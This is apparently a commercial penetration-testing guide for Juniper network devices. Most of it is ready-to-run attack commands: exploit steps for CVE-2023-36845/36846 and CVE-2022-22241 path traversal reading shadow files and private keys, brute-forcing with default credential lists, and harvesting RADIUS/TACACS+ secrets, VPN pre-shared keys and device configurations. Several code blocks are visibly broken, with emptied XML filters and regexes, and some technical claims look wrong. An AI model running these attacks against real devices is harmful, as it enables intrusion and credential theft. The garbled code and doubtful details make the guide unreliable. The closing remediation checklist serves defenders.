Juniper Networks Security Testing: CVE-2023-36845, J-Web GUI, Junos API, and Credential Harvesting

Juniper Networks equipment — SRX firewalls, EX switches, QFX data center switches, and MX routers — forms the backbone of enterprise and service provider networks. This guide covers authorized security testing of Juniper infrastructure: CVE-2023-36845 unauthenticated PHP file inclusion in J-Web (CVSS 9.8), CVE-2022-22241 path traversal, Junos REST API credential extraction, NETCONF/YANG-based configuration dumping, and post-exploitation credential harvesting from Junos devices.

⚠ Authorized testing only. Unauthorized access to network infrastructure is a criminal offense. All techniques in this guide require explicit written authorization from the asset owner. Test only within defined scope.

Contents

  1. Juniper Attack Surface
  2. CVE-2023-36845: J-Web PHP File Inclusion (CVSS 9.8)
  3. CVE-2022-22241: J-Web Path Traversal
  4. J-Web Management GUI Attacks
  5. Junos REST API Exploitation
  6. NETCONF/YANG Configuration Extraction
  7. SSH Credential Harvesting
  8. SRX VPN Credential Extraction
  9. EX Switch RADIUS/TACACS Credential Abuse
  10. Post-Exploitation and Pivoting
  11. Remediation Checklist

Juniper Attack Surface

Juniper Networks devices expose several management planes, each a potential attack vector during authorized penetration tests:

InterfaceDefault PortProtocolRisk
J-Web GUI80/443HTTP/HTTPSCritical — multiple RCE CVEs
SSH CLI22SSHHigh — brute-force, key theft
Junos REST API3000HTTPSHigh — unauthenticated in misconfigured deployments
NETCONF over SSH830SSH+XMLHigh — full config extraction
SNMP161/162UDPMedium — community string leakage
Telnet23TCPHigh — cleartext credentials
XNM-SSL3220HTTPSMedium — Juniper XML management

Reconnaissance

# Identify Juniper devices via banner grabbing
nmap -sV -p 22,80,443,830,3000,3220,161 --script=banner,ssh-hostkey 192.168.1.0/24

# Juniper-specific version detection
nmap -sV --script=http-title,http-server-header -p 80,443 192.168.1.1

# J-Web fingerprinting — Juniper returns distinctive headers
curl -sk https://192.168.1.1/ -I | grep -i "juniper\|junos\|j-web"

# SNMP enumeration for Junos version info
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.1.1.0
# Returns: Juniper Networks, Inc. srx300 internet router, kernel JUNOS 21.2R3-S3.5

CVE-2023-36845: J-Web PHP Environment Variable Manipulation (CVSS 9.8)

CVE-2023-36845 is a critical PHP external variable modification vulnerability in Juniper's J-Web management interface, affecting Junos OS on SRX and EX Series devices. Combined with CVE-2023-36846 (file upload), it enables unauthenticated remote code execution without any prior authentication.

Technical Analysis

The vulnerability stems from J-Web's PHP configuration allowing modification of PHP environment variables via the PHPRC environment variable through crafted GET requests. An attacker can override PHP's configuration file path, inject a malicious PHP configuration file via an unauthenticated file upload endpoint, and achieve arbitrary code execution.

# Step 1: Upload a malicious PHP config via the unauthenticated upload endpoint (CVE-2023-36846)
curl -k -X POST "https://TARGET/webauth_operation.php" \
  -F "payload=@malicious.ini" \
  --output /dev/null -w "%{http_code}"

# malicious.ini content — poisons PHP config to load attacker-controlled extension
# auto_prepend_file=/tmp/uploaded_shell.php
# extension=/tmp/malicious.so

# Step 2: Trigger the PHP environment manipulation (CVE-2023-36845)
curl -sk "https://TARGET/index.php?PHPRC=/tmp/malicious.ini" \
  -o response.html

# Step 3: Verify code execution
curl -sk "https://TARGET/index.php?PHPRC=/tmp/malicious.ini&cmd=id"

Detection and Patching

Juniper released patches in Junos OS versions: 20.4R3-S8, 21.2R3-S6, 21.3R3-S5, 21.4R3-S4, 22.1R3-S3, 22.2R3-S1, 22.3R2-S2, 22.4R2-S1, 23.2R1, and all subsequent releases. If J-Web is not required, disable it entirely: delete system services web-management.

Actively exploited in the wild. CVE-2023-36845 and CVE-2023-36846 were actively exploited by threat actors within 24 hours of public disclosure. Unpatched devices directly accessible from the internet should be treated as compromised until forensically verified.

CVE-2022-22241: J-Web Unauthenticated Path Traversal

CVE-2022-22241 is a path traversal vulnerability in J-Web affecting Junos OS prior to specific patch levels. It allows unauthenticated attackers to read arbitrary files from the filesystem, including configuration files containing credentials.

# Path traversal to read sensitive files without authentication
curl -sk "https://TARGET/dandelion/bin/main.php?lang=../../../etc/passwd"
curl -sk "https://TARGET/dandelion/bin/main.php?lang=../../../etc/shadow"

# Target Junos-specific credential stores
curl -sk "https://TARGET/dandelion/bin/main.php?lang=../../../config/juniper.conf"

# Try to access the master password / hashed credentials
curl -sk "https://TARGET/dandelion/bin/main.php?lang=../../../var/db/config/juniper.conf.gz"

# Extract certificate private keys
curl -sk "https://TARGET/dandelion/bin/main.php?lang=../../../etc/ssl/private/server.key"

Affected Versions

Junos OS VersionFixed In
Before 19.1R3-S919.1R3-S9
19.2 before 19.2R3-S619.2R3-S6
19.3 before 19.3R3-S719.3R3-S7
20.4 before 20.4R3-S520.4R3-S5
21.x before 21.2R3-S421.2R3-S4
22.x before 22.2R222.2R2

J-Web Management GUI Attacks

Authentication Brute Force

# J-Web uses HTTP Basic Auth or form-based auth depending on version
# Check the authentication method
curl -sk https://TARGET/ -I | grep -i "www-authenticate\|set-cookie"

# Form-based auth brute force (modern J-Web)
hydra -L users.txt -P passwords.txt TARGET https-post-form \
  "/webauth_operation.php:uname=^USER^&passwd=^PASS^&Login=Login:Authentication failed"

# Verify successful authentication and extract session cookie
curl -sk -c cookies.txt -d "uname=root&passwd=password123&Login=Login" \
  https://TARGET/webauth_operation.php -L

# Common Juniper default credentials
# root / (empty password — requires password change on first login)
# admin / admin
# operator / juniper1
# superuser / juniper

Session Token Theft

# If you have a foothold on a network segment with access to HTTP J-Web traffic
# Juniper J-Web session tokens in older versions are not properly randomized

# Capture J-Web session cookies from HTTP (unencrypted deployments)
tcpdump -i eth0 -A 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep -i "cookie\|session"

# J-Web cookie format: PHPSESSID=
# Test session fixation — attempt to reuse a known session ID
curl -sk -H "Cookie: PHPSESSID=known_session_id" https://TARGET/

Junos REST API Exploitation

Junos OS includes a REST API accessible on port 3000 (HTTPS) or 3443. When misconfigured without authentication or with weak credentials, it provides full operational control over the device.

# Check if REST API is enabled and accessible
curl -sk https://TARGET:3000/ -u "admin:juniper1" \
  -H "Accept: application/json"

# Enumerate available REST API endpoints
curl -sk https://TARGET:3000/rpc/get-interface-information \
  -u "admin:password" -H "Accept: application/json"

# Execute arbitrary Junos CLI commands via REST API
curl -sk -X POST https://TARGET:3000/rpc/command \
  -u "admin:password" \
  -H "Content-Type: application/json" \
  -d '{"format": "json", "command": "show configuration | display set"}'

# Extract full device configuration
curl -sk https://TARGET:3000/rpc/get-config \
  -u "admin:password" \
  -H "Accept: application/json" \
  -d ''

# Harvest user accounts and hashed passwords from configuration
curl -sk https://TARGET:3000/rpc/get-config \
  -u "admin:password" \
  -H "Accept: application/json" | python3 -c "
import json, sys
config = json.load(sys.stdin)
# Extract user accounts with hashed passwords
print(json.dumps(config.get('configuration', {}).get('system', {}).get('login', {}), indent=2))
"

Credential Extraction via REST API

# Junos stores passwords in $9$ encrypted format (proprietary Juniper encryption)
# Extract all user passwords (hashed) — can be cracked offline
curl -sk https://TARGET:3000/rpc/get-config \
  -u "admin:password" | grep -oP '"encrypted-password": "\$9\$[^"]*"'

# RADIUS/TACACS+ server secrets (shared secrets in cleartext or $9$ format)
curl -sk https://TARGET:3000/rpc/get-config \
  -u "admin:password" | grep -A5 "authentication-server\|tacplus-server\|radius-server"

# BGP neighbor credentials (MD5 authentication keys)
curl -sk https://TARGET:3000/rpc/get-config \
  -u "admin:password" | python3 -c "
import json, sys, re
data = sys.stdin.read()
# Look for authentication keys in BGP config
keys = re.findall(r'\"authentication-key\": \"([^\"]+)\"', data)
print('BGP auth keys:', keys)
"

# SNMP community strings
curl -sk https://TARGET:3000/rpc/get-config \
  -u "admin:password" | grep -A3 "snmp\|community"

NETCONF/YANG Configuration Extraction

NETCONF over SSH (port 830) is the standard network management protocol for Junos devices. If SSH credentials are obtained, NETCONF provides machine-readable access to the complete device configuration including all secrets.

# NETCONF session using ncclient Python library
pip install ncclient

python3 << 'EOF'
from ncclient import manager
import sys

# Connect to Junos device via NETCONF
conn = manager.connect(
    host='192.168.1.1',
    port=830,
    username='admin',
    password='juniper1',
    hostkey_verify=False,
    device_params={'name': 'junos'}
)

# Get full running configuration
config = conn.get_config(source='running')
print(config.xml)

# Get just the security configuration (PSKs, VPN secrets)
config_filter = '''

  
    
    
      
    
  

'''
security_config = conn.get_config(source='running', filter=config_filter)
print(security_config.xml)

conn.close_session()
EOF
# Direct NETCONF via SSH (manual XML session)
ssh -p 830 admin@192.168.1.1 << 'NETCONF'


  
    urn:ietf:params:netconf:base:1.0
  

]]>]]>

  
    
  

]]>]]>
NETCONF

Junos Password Hash Cracking

# Junos $9$ password format is a proprietary reversible encoding (NOT a hash)
# It can be decoded — there are open-source tools to reverse it

# Install junos-password-decoder
pip install junos-screenos

# Decode Juniper $9$ encrypted passwords
python3 -c "
from junos_screenos import decode
password_hash = '\$9\$8YaZUHqf/tpBIhyvWxNs4ZGik.mT39Ap'
print('Decoded password:', decode(password_hash))
"

# Alternative: use John the Ripper with Juniper format
# First extract hashes from config
grep -oP '\$9\$[a-zA-Z0-9./]+' juniper-config.txt > juniper-hashes.txt
john --format=juniper juniper-hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Note: $9$ is a REVERSIBLE encoding — not a real hash
# Any $9$ password extracted from config can be decoded to plaintext
# This means admin password reuse across devices is a critical finding

SSH Credential Harvesting

# Junos SSH key-based authentication — extract authorized keys from config
# Via REST API or NETCONF (if already authenticated)
curl -sk https://TARGET:3000/rpc/get-config \
  -u "admin:password" | grep -A5 "ssh-rsa\|ssh-ed25519\|ssh-dsa"

# Junos stores authorized public keys in config — also check for generated key pairs
# The private key is stored at /var/db/config/ssh/
# NOT accessible via REST API but accessible via shell if you have J-Web RCE

# Brute force SSH with common Juniper credentials
nmap -sV -p 22 --script ssh-brute \
  --script-args userdb=juniper-users.txt,passdb=juniper-passwords.txt \
  192.168.1.1

# juniper-users.txt: root, admin, operator, superuser, readonly, netops
# juniper-passwords.txt: juniper1, juniper, admin, password, Juniper1!

SRX VPN Credential Extraction

Juniper SRX firewalls handle IPsec VPN and SSL VPN (Juniper Secure Connect). Pre-shared keys and user credentials stored in the SRX configuration can be extracted if you gain admin access.

# Extract IPsec pre-shared keys from SRX config
curl -sk https://TARGET:3000/rpc/get-config \
  -u "admin:password" | python3 -c "
import sys, json, re
data = sys.stdin.read()
# IKE pre-shared keys
psk = re.findall(r'pre-shared-key[^>]*>[^<]*\\\$9\\\$([^<]+)', data)
print('PSKs (encoded):', psk)
"

# Get IKE gateway configuration with PSKs
curl -sk -X POST https://TARGET:3000/rpc/command \
  -u "admin:password" \
  -H "Content-Type: application/xml" \
  -d 'show security ike security-associations detail'

# Extract SSL VPN user database
curl -sk -X POST https://TARGET:3000/rpc/command \
  -u "admin:password" \
  -H "Content-Type: application/xml" \
  -d 'show security pki local-certificate detail'

# Active IKE sessions — shows remote peer IPs and identities
curl -sk -X POST https://TARGET:3000/rpc/command \
  -u "admin:password" \
  -H "Content-Type: application/xml" \
  -d 'show security ike sa'

EX Switch RADIUS/TACACS+ Credential Abuse

# EX switches authenticate users against RADIUS or TACACS+ servers
# Extract RADIUS shared secrets (these authenticate ALL network devices)
curl -sk https://TARGET:3000/rpc/get-config \
  -u "admin:password" | grep -B2 -A8 "radius-server\|authentication-server"

# TACACS+ server configuration with shared secret
# Once you have the TACACS+ secret, you can authenticate as ANY user to ALL devices

# Test RADIUS shared secret extraction
python3 << 'EOF'
import re

config = open('juniper-config.xml').read()
# RADIUS secrets in Junos config — may be cleartext or $9$ encoded
radius = re.findall(r'([^<]+)', config)
print('RADIUS secrets:', radius)

# TACACS+ secrets
tacacs = re.findall(r'([^<]+)', config)
print('TACACS secrets:', tacacs)
EOF

# 802.1X supplicant credentials (EAP-MD5 — capturable and crackable)
# If EX switch is doing 802.1X, capture RADIUS Access-Request packets
# The EAP-MD5 challenge/response can be cracked offline with hashcat

Post-Exploitation and Network Pivoting

Route Table and ARP Cache Dumping

# Get complete routing table — maps the internal network topology
curl -sk https://TARGET:3000/rpc/get-route-information \
  -u "admin:password" -H "Accept: application/json"

# ARP cache — maps IP addresses to MAC addresses (identifies hosts)
curl -sk https://TARGET:3000/rpc/get-arp-table-information \
  -u "admin:password" -H "Accept: application/json"

# Interface addresses — reveals network segments
curl -sk https://TARGET:3000/rpc/get-interface-information \
  -u "admin:password" -H "Accept: application/json" | python3 -c "
import json, sys
data = json.load(sys.stdin)
for iface in data.get('interface-information', [{}])[0].get('physical-interface', []):
    name = iface.get('name', [''])[0]
    for li in iface.get('logical-interface', []):
        for aif in li.get('address-family', []):
            if aif.get('address-family-name', [''])[0] == 'inet':
                for ia in aif.get('interface-address', []):
                    print(f'{name}: {ia.get(\"ifa-local\", [\"\"])[0]}')
"

Firewall Policy Enumeration

# Dump all firewall/security policies (reveals allowed traffic flows)
curl -sk -X POST https://TARGET:3000/rpc/command \
  -u "admin:password" \
  -H "Content-Type: application/xml" \
  -d 'show security policies'

# NAT rules — reveals internal IP address space
curl -sk -X POST https://TARGET:3000/rpc/command \
  -u "admin:password" \
  -H "Content-Type: application/xml" \
  -d 'show security nat source rule all'

# Active sessions — reveals ongoing connections
curl -sk -X POST https://TARGET:3000/rpc/command \
  -u "admin:password" \
  -H "Content-Type: application/xml" \
  -d 'show security flow session'

Remediation Checklist

FindingRemediationPriority
CVE-2023-36845 (J-Web PHP RCE)Patch to Junos 20.4R3-S8+ / 22.4R2-S1+ or disable J-WebCritical
CVE-2022-22241 (J-Web path traversal)Patch or disable J-Web; restrict to management VRFCritical
Junos REST API exposedRestrict to management VRF with firewall filter; require client certificatesHigh
NETCONF accessible without restrictionRestrict port 830 to management IPs onlyHigh
$9$ password encodingReplace with stronger hashing (Junos 19.1+ supports SHA-256)High
Default credentials in useRotate all credentials; enforce complexity requirementsCritical
RADIUS/TACACS+ secrets reuseUnique secrets per device; use certificate-based RADIUS (EAP-TLS)High
IPsec PSK useMigrate to certificate-based authentication (IKEv2 with PKI)Medium
SSH password auth enabledEnforce public key only; disable password authenticationHigh
Management plane exposed to internetRestrict to dedicated management VRF/OOB networkCritical
Hardening baseline: Disable J-Web entirely if not required (delete system services web-management). Restrict NETCONF and REST API to management-only firewall filter. Rotate all credentials after any suspected compromise. Enable commit auditing (set system commit notify-changes). Use separate management VRF with out-of-band access controls.

Automate Juniper Infrastructure Security Testing

Ironimo orchestrates Kali Linux tools across your network infrastructure — combining nmap service detection, credential testing, and API enumeration to surface exploitable misconfigurations in enterprise network devices before attackers do.

Start free scan